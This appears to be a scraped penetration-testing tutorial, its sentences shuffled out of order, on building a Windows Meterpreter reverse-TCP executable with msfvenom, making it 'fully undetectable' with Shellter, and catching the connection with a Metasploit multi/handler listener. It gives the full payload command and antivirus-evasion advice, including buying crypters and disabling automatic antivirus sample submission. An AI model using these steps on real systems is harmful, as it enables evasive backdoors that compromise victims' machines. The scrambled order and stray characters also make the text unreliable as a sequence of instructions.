![]() We will then set the payload to match the one set within the executable using the command set payload windows/meterpreter/reverse_tcp. First, we’ll tell Metasploit to use the generic payload handler “multi/handler” using the command use multi/handler. The screenshot below shows what commands to issue within Metasploit. We do this by launching Metasploit, using the command msfconsole on the Kali Linux terminal. We now need to set up a listener on the port we determined within the executable. Otherwise, most of your encoding will be flagged as malicious or potentially unwanted software. Shellter will run to completion and request you to press Enter.Īt this point, the executable you provided will have been made undetectable to antivirus solutions.Īgain, note that you are better off writing your own or purchasing a crypter that is constantly being revised. We need a Meterpreter_Reverse_TCP, so we will have to go with “1.”Įnter LHOST and LPORT and press Enter. Select the index position of the payload to use. You should select a listed one by typing “L” unless you want to proceed with your own custom payload. The next prompt will require you to enter the payload, either a custom or a listed one. It will then prompt you whether to run in stealth mode. Shellter will then initialize and run some checks. ![]() Make sure to select “Auto” mode, as shown below. You will be required to enter the absolute path to the executable to make FUD. To launch Shellter, just type shellter on the terminal. On your Kali Linux, download Shellter with the command below: Let’s look at how to install and run Shellter. Otherwise, whatever you write (if detected as potentially-unwanted software) will be uploaded by your antivirus for analysis … And we both know how that will end. This is despite Windows 10 being a fresh download with latest patches applied! You will be better off purchasing Shellter Pro (or any pro crypter) or writing your own crypter to avoid antivirus flagging your executables.Īlso note that when writing your own, disable automatic submissions. During our lab tests, we discovered that Windows Defender (which ships by default with Windows 10) flagged the executable six out of the ten times we used Shellter to perform the encoding. ![]() Note that antiviruses also check the behavior of executables and employ techniques such as heuristics scanning, so they are not just limited to checking for signatures. Shellter works by changing the executable’s signatures from the obviously malicious one to a completely new and unique one that can bypass detection. To encode our executable, we’ll be using Shellter. Making the executable FUD (fully undetectable) We will encode it to make it fully undetectable, or FUD. We have to figure out a way to modify it to bypass antivirus detection. Our file will thus be flagged as malicious once within the Windows environment. exe generation:Īntivirus solutions work by detecting malicious signatures within executables. The screenshot below shows the output of the command on successful. To obtain our IP address, we use the ifconfig command within Kali, specifying the interface as eth0 (since we are on Ethernet): ![]() In our case, the LHOST is the IP address of our attacking Kali Linux machine and the LPORT is the port to listen on for a connection from the target once it has been compromised. exe, and the local host (LHOST) and local port (LPORT) have to be defined. The format must be specified as being type. The command instructs msfvenom to generate a 32-bit Windows executable file that implements a reverse TCP connection for the payload. Msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=192.168.100.4 LPORT=4444 -o /root/something32.exe Then try again running (sudo) apt-get install -y virtualbox-guest-x11.To create the executable, you would use msfvenom as shown in the command below: If header installation failed you might want to check manually for applicable headers and install them by running apt-cache search linux-headers to list all available headers and install the desired one with apt-get install linux-headers. You will be prompted with some questions you definetly should read carefully and decide wheter enable or disable this feature.Īfter installation completed you restart the VM.Īlternatively run (sudo) apt-get update & apt-get install linux-headers-$(uname -r). For this action you might want to deactivate your antivirus on the host machine. Make sure that you have the latest dist upgrades by running You should see an entry like this: deb kali-rolling main non-free contrib ![]() You might want to check whether you have the mentioned entry in your sources.list located under /etc/apt/sources.list. ![]()
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